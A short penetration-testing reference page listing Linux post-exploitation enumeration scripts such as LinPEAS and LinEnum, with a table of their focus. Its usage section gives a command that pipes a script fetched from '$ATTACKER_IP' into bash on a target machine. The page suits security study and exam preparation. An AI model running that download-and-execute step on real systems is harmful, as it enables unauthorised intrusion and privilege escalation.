Linux Reconnaissance Scripts

Automated enumeration scripts accelerate post-exploitation reconnaissance on Linux targets. They aggregate information about users, SUID binaries, kernel version, writable paths, and potential privilege-escalation vectors.

Popular scripts

Script	Focus	Notes
LinPEAS	Privilege-escalation paths	Color-coded output; part of PEASS-ng; actively maintained
LinEnum	General enumeration	Lightweight, easy to read; good for OSCP-style exams
Linux Exploit Suggester (LES)	Kernel CVE matching	Compares kernel version against known exploits
Linux Smart Enumeration	Prioritized checks	Shows the most interesting findings first
Linux Priv Checker	Permission audit	Simple, fast, no dependencies

Usage pattern

# Download on the attacker host, serve via HTTP
python3 -m http.server 80
 
# On the target
curl http://$ATTACKER_IP/linpeas.sh | bash

Always review output manually — automated tools generate noise and miss context-specific misconfigurations.

Sources

• PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation
• LinEnum — Scripted Local Linux Enumeration & Privilege Escalation Checks
• Linux Exploit Suggester (LES) — Linux Privilege Escalation Auditing Tool

Related: linux-reconnaissance-commands, shell-stabilization, suid-shell-executable